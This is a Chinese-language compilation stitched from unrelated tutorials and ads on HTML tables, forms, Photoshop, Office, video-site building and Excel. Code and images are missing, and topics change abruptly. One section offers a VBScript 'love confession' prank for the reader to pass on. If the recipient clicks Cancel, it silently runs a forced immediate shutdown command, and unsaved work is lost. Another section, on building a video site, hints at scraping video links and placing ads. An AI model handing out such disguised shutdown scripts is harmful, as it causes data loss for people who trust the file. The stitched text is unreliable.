今天我们主要是来了解一下Web前端开发中所用到的一些表格，框架及表单的简单使用方法，如果有一些什么不对的地方，欢迎大家提出来一起讨论。

表格

熟悉表格的常用属性，制作表格

利用表格来容纳表格式数据

利用表格进行页面的排版布局

表格在网站应用中非常广泛，几乎所有的HTML页面中都会或多或少的采用表格来进行布局。表格可以方便灵活地实现对网页的排版，可以把相互关联的信息元素集中定位，使浏览者一目了然，赏心悦目。下面来看看一下基本的表格布局的页面：

上图的简单效果是使用表格布局进行的简单页面设计，下面我们来简单的了解一下表格布局的要素有哪些

结构

表格主要是分为4大结构，分别是：标题、表头、表体、表尾，一个简单的表格通常就是由这4大结构来构成的。

标题：标题主要是用来定义这张表所表示的含义，使人能够直白的理解这张表，就像上图 “学生基本信息”就是标题。

表头：表头所代表的就是所有的列，也就是这张表的属性

表体：表体就是这张表的内容部分，也是对这张表属性的表达

表尾：表尾是整张表最下面的一个部分，一般用来描述制表人，日期等

HTML语言规定了、、3个标签分别对应于表格的表首、表主体和表尾，将一个表格分三个部分在网页上显示出来。

基本语法：

…

…

…

表格是网页布局中的重要元素，它有丰富的属性，可以对其进行相关设置

属性

设置表格的边框属性--border

设置边框的颜色--bordercolor

设置亮边框的颜色--bordercolorlight

设置暗边框的颜色– bordercolordark

设置背景颜色—bgcolor

设置背景图像—background

设置表格宽度与高度—width/heigh

表单

表单可以把来自用户的信息提交给服务器，是网站管理员与浏览者之间沟通的桥梁。表单通常用来做网上调查、注册登记、Web搜索、报名或在线订购等。

表单有几个重要组成部分：表单标记、表单域、表单按钮

表单的一些重要的属性：

name:给定表单名称，表单命名之后就可以用脚本语言(如JavaScript或VBScript)对它进行控制。

action:指定处理表单信息的服务器端应用程序。

method:用于指定表单处理表单数据方法，method的值（get、post，默认get）。

enctype:规定表单数据在发送到服务器之前进行编码

fieldset 元素可将表单内的相关元素分组。

2018孔德川老师淘宝美工视频教程下载全集

淘宝美工前途怎么样？

1.如果你是店家，不学美工修图，商品怎么卖出去？

2.如果你去就业，几百万家淘宝店铺等你来！

网上的店铺，也需要漂亮的门面，视觉是人们的第一印象，在网上出售相同的商品比比皆是，只有让自己从中脱颖而出才能让消费者记住你！

本套课程都有什么内容？

本套课程共10个单元，58节课程讲解。章节安排合理，由浅到深。

从零基础出发，语言通俗易懂，讲解清晰明了，以淘宝美工所涉及的各个方面操作展开，通过实例操作，知识点讲解，让学员对淘宝美工能够有一个更加深刻的认识，对所需要的软件也能快速上手。

本套课程怎么样？

本套课程从商品设计的流程入手，涵盖了网店装修所涉及的所有内容。

孔老师5年授课经验传授，由1.0版更新到2.0版（最新版）。讲解方法合理，易于掌握接受，同时课程内容丰富，提供软件，高清课程，讲课笔记，练习素材和源文件。相信每个学员学习物超所值。

本套课程适合谁？本套课程主要面向淘宝开店的中小店家、美工学习人员，0基础学习，100%掌握。

合理知识点安排，简洁流畅的语言讲解，丰富实用的案例，由浅入深，全面系统讲解，可以在短时间内掌握最有效的知识，轻松学习。

适合所有想从事，或者与淘宝店铺美工相关的人员。

我能学会吗？

本套课程共10个单元，每一单元划分不同的知识点和重点内容讲解，视频课程配套有PPT演示文稿，练习素材，源文件等。让你在学习掌握软件和店铺后台的情况下，水到渠成过度到独立完成美工任务。没有学会的学生，只有教不好的老师。

课程有什么保障？

第一：提供所有课程里面使用的软件+PPT课件+素材+源文件。

第二：课程100%学习掌握，5年授课经验。

第三：提供在线咨询+课程更新。

第四：提供无理由任何条件退款。

2018孔德川老师淘宝美工视频教程下载全集目录

合格美工必备知识掌握

1.淘宝设计常用图片尺寸

2.必备软件技能要求

3.美工掌握基本常识

4.美工设计制作流程

5.文案的策划和设计

产品图片美化

6.认识Photoshop软件

7.新建、打开、保存三兄弟

8.裁图（裁剪的各种方法讲解）

9.修图（修补工具、仿制图章、去水印）

10.调色（色阶、曲线讲解，如何改变裙子颜色）

11.抠图（套索、钢笔、毛发抠图）

12.投影制作方法（五种）

13.标签按钮制作

14.促销广告图制作

15.字体与排版

16.图片合成制作

17.GIF动画制作

图片切割与优化

18.什么是切割图片

19.图片切割操作

20.图片优化及web格式存储

Dreamweaver软件排版操作

21.认识Dreamweaver

22.表格的插入及排版

23.图片热区和链接的设置

店铺Logo设计

24.LOGO设计意义

25.LOGO设计过程

26.制作一个完整LOGO

店铺装修与设计

27.了解掌握淘宝旺铺

28.首页的布局与规划

29.店招的设计

30.图片空间上传

31.通栏店招设计

32.4种常用导航设计

33.首焦轮播海报

34.全屏海报轮播设计

35.商品陈列区设计

36.页面背景设置

37.店尾设计

38.店铺首页其他常用设置

常用活动图片设计

39.直通车图设计

40.钻石展位图设计

41.聚划算主图

42.防伪水印的设计

详情页设计与制作

43.详情页的重要性

44.详情页的必要信息展示

45.详情页的设计思路

46.详情页制作规范流程

Premiere主图视频制作

47.主图视频及Premiere安装讲解

48.Premiere软件操作讲解

49.视频如何上传

50.拍摄的视频如何编辑

51.如何使用图片制作视频

52.如何给主图视频添加声音

53.赠：视频格式的转换

手机淘宝装修

54.了解无线淘宝

55.无线运营中心后台操作

56.手机淘宝店铺首页装修

57.手机详情页制作

58.手机详情页音频制作

做全栈攻城狮-每日更新原创IT编程技术及日常实用视频。

主要内容：这是HTML课程的第七课，在这节课程中主要做一个小项目，那就是通过以前我们一起学习的知识点，制作一个360导航页。

上节回顾

在上一节课中，我们讲解了表格和body的相关属性。今天我们就按照表格制作一个360导航。当然也会用到以前用到的知识点，算是一个小的复习吧。

总体布局介绍

我们只做上面的选中部分，在以后的课程中可能会慢慢的增加进去新的内容。从图片中可以看到，包括8行6列。所以我们需要写一个对应行和列的表格。

这样就显示了主要的布局。大体是这个样子，下面进行微调。

单元格之间的距离

在效果中可以很简单的看到，单元格之间的距离太小了，以至于都要挤在一起了，所以我们设置单元格之间的边距。通过设置cellspacing属性就可以啦。

部分文字

可以看到部分文字有其他颜色，我们也设置一下：

居中显示

可以看到每个单元内是居中显示的。所以应该这样做

没有学习CSS所以很多东西做不到。目前就做个这样子。算是一部分，在学习完毕之后，我们继续做这个项目。

最终代码

每天一个知识点，带你迈向软件编程大神，一起努力吧。下节课程，一起讲解重要知识点列表。

记不记得上一期给大家推荐的

抖音表白神器

这么强大的表白神器

是不是很神奇很是神奇？

是不是想知道怎么做的？

既然你诚心诚意的发问了

我就大发慈悲的告诉你

不不不，搞错了！

表白代码制作教程

不传外人

以后我们就是一家人了

步骤1

在电脑桌面用鼠标右键单击新建一个.txt文档。

步骤2

输入代码：

msgbox("做我女朋友好吗？")

msgbox("我有车有楼有翻狗")

步骤3

鼠标左键点击文本左上角文件，再点击另存为，

文件名改成：XXX.vbs，保存类型改为：所有文件，然后点击确定。

步骤4

点击确定后，完成制作，电脑桌面上会显示一个vbs文件。

步骤5

鼠标左键双击打开vbs文件，就会像抖音里面一样的啦。

据说程序员都有病

还病得不轻

得了一种叫做

“编程快乐”

的疾病

你有没有感受到“编程快乐”？

征服的成就感：每天打开电脑，调出各种软件，“手指在命令行间驰骋，思绪在浏览器上飞奔”。

没有做不到，只有想不到。

每次解决一个难题，想出一个巧妙算法，攻克一个Bug，那“一键在手，天下我有”的征服感也是没谁了，简直happy得不要不要的。

绝对比考试拿一百分欢喜十倍，还不止。

赠品：

附上抖音里面比较火的代码：

msgbox("做我女朋友好吗？")

msgbox("房产证写你名字...")

msgbox("保大...")

msgbox("我妈会游泳..")

x=msgbox("做我女朋友好不好"，VbOkCancel)

if x=VbOk then

msgbox("爱你，么么哒")

elseif x=VbCancel then

msgbox("哼，再见")

set ws=createobject("wscript.shell")

ws.run"cmd.exe /c shutdown -s -f -t 0"

end if

制作使用的方法跟刚才表白示例是一样的

抖音上很多火爆的短视频，都是一些图片组合并带有背景音乐和丰富效果的照片视频，效果很不错。其实方法很简单，用对了工具就行。今天就把制作高逼格的图片视频技巧全部教给大家，说不定下一个爆款短视频，就是出自你手！

我自己常用的制作图片视频的工具是数码大师，里面蛮多特效都挺好看的～有少女风、炫酷、科技感等等风格，所以能够运用到各种主题图片视频中，做婚礼相册、毕业相册、宝宝相册、旅游相册等等都是OK滴。大家可以看下效果：

1.用数码大师，一次性添加多张图片

打开数码大师后，添加图片可以一次性导入多张。如果想给图片命名或加上一些文字，可以点“修改名字/注释/旁白”加文字。

2.给图片添加动感唯美的特效

想要制作创意满满的火爆图片视频，就一定要加上好看的特效。在数码大师里可以加一些常见的切换特效，也能加怦然心动、映射泡泡、落英缤纷等动景，会有非常不一样的感觉。很有高大上的feel～

左侧栏切换到“相片特效”，选中喜欢的特效添加上就好了。动景在界面左下方“当相片展示时”的下拉框里去激活，选择“动感场景”就有那些琳琅满目的特效。选择“镜头缩放”就会让图片像电影的镜头一样推进或拉远，很有质感。

3.配上动听的音乐也非常加分

音乐也是图片视频的加分项！大家可以根据自己的主题找好歌曲，然后添加到视频里。左侧栏切换到“背景音乐”，点击“添加媒体文件”就能把音乐导入进来了。之前我做过毕业纪念主题的图片视频，配的音乐是《青春纪念册》，非常有感染力。

一个精致美观的图片视频就完成了。不过如果想要打造非常有个人特色的创意视频，我还给大家讲讲后面的制作秘籍！推荐大家用爱剪辑给图片视频加上满分效果的字幕，比如抖音上热门的快闪字幕教程等等都能做。制作创意满分的字幕技巧很简单：

1.把在数码大师中制作好的图片视频导入到爱剪辑中，然后双击视频预览框，输入文字内容就好。

2.选中添加好的字幕，然后一键为字幕添加上各种风格的特效。

心动不如行动，大家赶紧学起来鸭！！

此刻打开office软件，您还在为以下问题而烦恼吗？

本次梦雪资源为大家整理了一份超全的各版本office软件教程：word、execl、ppt，包含版本2003.2007.2010.2013.2016和wps，全面清晰的讲解，让办公自动化，告别乱糟糟的文档，教你“巧”工作，不加班！

===office版本课程目录===

===2003word教程目录===

===2007execl教程目录===

===2016ppt教程目录===

===部分视频截图===

获取office word/execl/ppt/wps最全版本视频教程大全

梦雪资源（63856662

1.第一步当然是域名注册了，这就很多了，万网，各种云，阿里云，腾讯云，我推荐阿里云，我用的就是。一年大概60元，后期需要实名验证。

2.租用或者购买服务器空间，本人是租用的服务器，阿里云，淘宝上都有这个淘宝上有不在赘述，最好选择免注册和服务器在香港的可以省去很多的麻烦，但是后期还是会实名注册选择合适的带宽和空间，作为新手建议买便宜一点的服务器，练手用.

3.下载源码，推荐苹果CMS视频源码，适配服务器空间。网上有相关的细节，不在赘述。

4.有了源码，这时候网站还是一片空白，需要登入域名网站，跟着步骤进入苹果CMS的适配步骤，知道成功后出现登陆界面。

5.用相关账号密码，登入苹果CMS空间，

6.用系统相关工具，获得相关视频链接数据。

7.这个时候你就可以看到自己的网站终于像一个正常的网站了。然后进行相关的细节优化。替换掉系统相关的图片，知道如何挂载广告位，选择最合适的在线播放器，等等，这个时候一个视频网站就做出来澳=了

8.好了，放上我自己做得网站供大家参考

网 址 是batdy

表单填写成为各类活动营销中不可缺少的重要组成内容，无论是报名表、登记表还是邀请函、简历、客户拜访记录，都需要填写表单，确认、记录信息数据。看似简单功能，可以与其他功能结合，是企业搜集用户信息，确定产评定位，优化运营推广不可或缺的重要手段。

怎样才能不被各类数据表单信息搞的焦头烂额？

简洁轻便的数据表单能否轻松嵌入H5营销中？

人人秀推出适用广泛场景在线表单功能！！！

信息数据化，标准化是营销的必要手段，在线表单功能有助于用户推广展示时搜集、管理数据，精准营销，节约时间成本。

人人秀在线表单制作，简单、快速，便捷。便捷操作，仅需轻盈几步，就能制作出赏心悦目又专业务实的在线表单。用户只需手指轻点，即可完成表单填写，提交。整个过程流畅自然又体验舒适！

在线表单提供多种模块随意搭配组合，可采集用户姓名、手机、邮箱，所在地区等信息，搭配多级下拉菜单、附件上传等功能可立竿见影提高工作效率，界面清新明快，让表单制作不再繁杂臃肿，帮助搜集和处理工作中的简易数据，方便数据后期管理，开展二次营销，让工作更高效，省心！省力！

登录人人秀网站，注册后，进入编辑器界面

选择表单功能，人人秀提供输入框、单选、下拉菜单、多选、多级下拉、评分、城市、短信验证、照片上传、时间、附件、日期、商品、提交按钮14大基础模块。方便用户根据具体使用场景，选择适当模块功能添加组合，优化过程体验，达到最优传播效果。

下面以制作报名表为例，为大家介绍具体功能适用步骤

编辑器页面选择表单，点击选择照片上传，可勾选必填，对照片上传做出强制限制，还可对样式、阴影、位置动画效果做出调整。

点击输入框选项，针对输入内容人人秀提供姓名、手机、邮箱、文本四大类设置。在文本编辑选项，可对输入内容自定义编辑。

单选功能：针对表单内容，设置选择内容。最多支持添加8个选项文本，支持勾选必填，强制用户填写提交。

城市功能 下设 省、市、区/县、详细地址供用户勾选，可勾选必填也可根据活动举办规模、地域范围增减填写内容。

选择短信验证功能，需用户输入短信验证码，确保手机号码真实存在，采集信息合理有效。

点击提交按钮，可对最多报名人数做出设置。根据活动规模设定相应报名参与人数。提交范围可选当前页面和所有。

开启高级功能后，

将支持手机号、Email唯一：同一手机号或邮箱账号只能提交一次，有效规避用户刷单 。

提交表单后触发（红包、抽奖、短信等）

限制报名人数合理控制活动成本。

登录人人秀使用在线表单功能，轻松数据采集，玩转H5营销推广。

https://rrxiu/

前言：此WORD排版视频是由读书屋OFFICE网陈飞老师线下为杰睿学校讲课时录制，满满的WORD排版干货。

第一集视频讲解知识点：

WORD制作完的标题没有办法对齐，设置完项目符合之后需要打空格才能对齐等等诸如此类的WORD问题，怎么样实现有形状，有文字结合在一起排版

有图，有形状，有文字在WORD中如何实现快速排版呢，在排版中怎么避免犯错呢，读书屋OFFICE网陈飞老师也将详细进行讲解

其中主要涉及的知识点有，形状组合，WORD形状效果添加，WORD添加完图片后如何进行更换，通过这些知识点实现上面内容的快速排版

第二集视频教程：

很多人都会忽略的一种WORD排版方式，那就是WORD表格排版，利用表格对文字，图片进行组织排版如果碰见如上图所示的内容，该如何使用WORD进行排版呢，有同学会说直接打字绘制线条不就可以了，但是在视频教程里面会详细告诉你该怎么做

多级列表如何使用，如何使用二级多级列表等等都会讲解

第三篇视频：

听说WORD可以设置有些页面有页眉有页脚，而有些页面没有，该怎么做呢，那么节就可以起作用了，先讲解一个页面中如何分节，如何实现奇数页和偶数页不

最后一个WORD排版视频：

讲解了WORD样式使用，其中包括了基于现有文字创建，自己创建，并且还有样式与多级列表结合，再提取目录

最后再说一下：现场授课，所以视频教程不能保证特别连贯，介意勿下载，本套WORD排版视频教程提供网盘下载，大家直接下载观看即可

链接：百度网盘提取码：cs8t

当我们看到老外做的Excel表格，再回头再看再单调的表格。真的不想再多看一眼。真的是这样吗？下面就仿老外的方法，简单几步就能让你的Excel表格完全蜕变！

原材料：好象是你经常在做的表格样式。

开始工作：

1、设置字体。不显示灰色表格线，表格数字字体设置成Aril,汉字设置成微软雅黑

2、设置表头。深蓝色背景+白色字体+白色上边框黑色下边框+字体居中显示并加粗。

3、设置表格正文部分。去掉表格线，设置浅蓝背景色间隔。字体设置为10号字体。

4、设置表尾。表尾上下设置表格线，字体加黑，颜色深蓝色。

完成！最终效果如下图所示。

设置表格当然不仅仅是今天所说的技巧，除此之外我们还要学会颜色搭配和其他设计方法。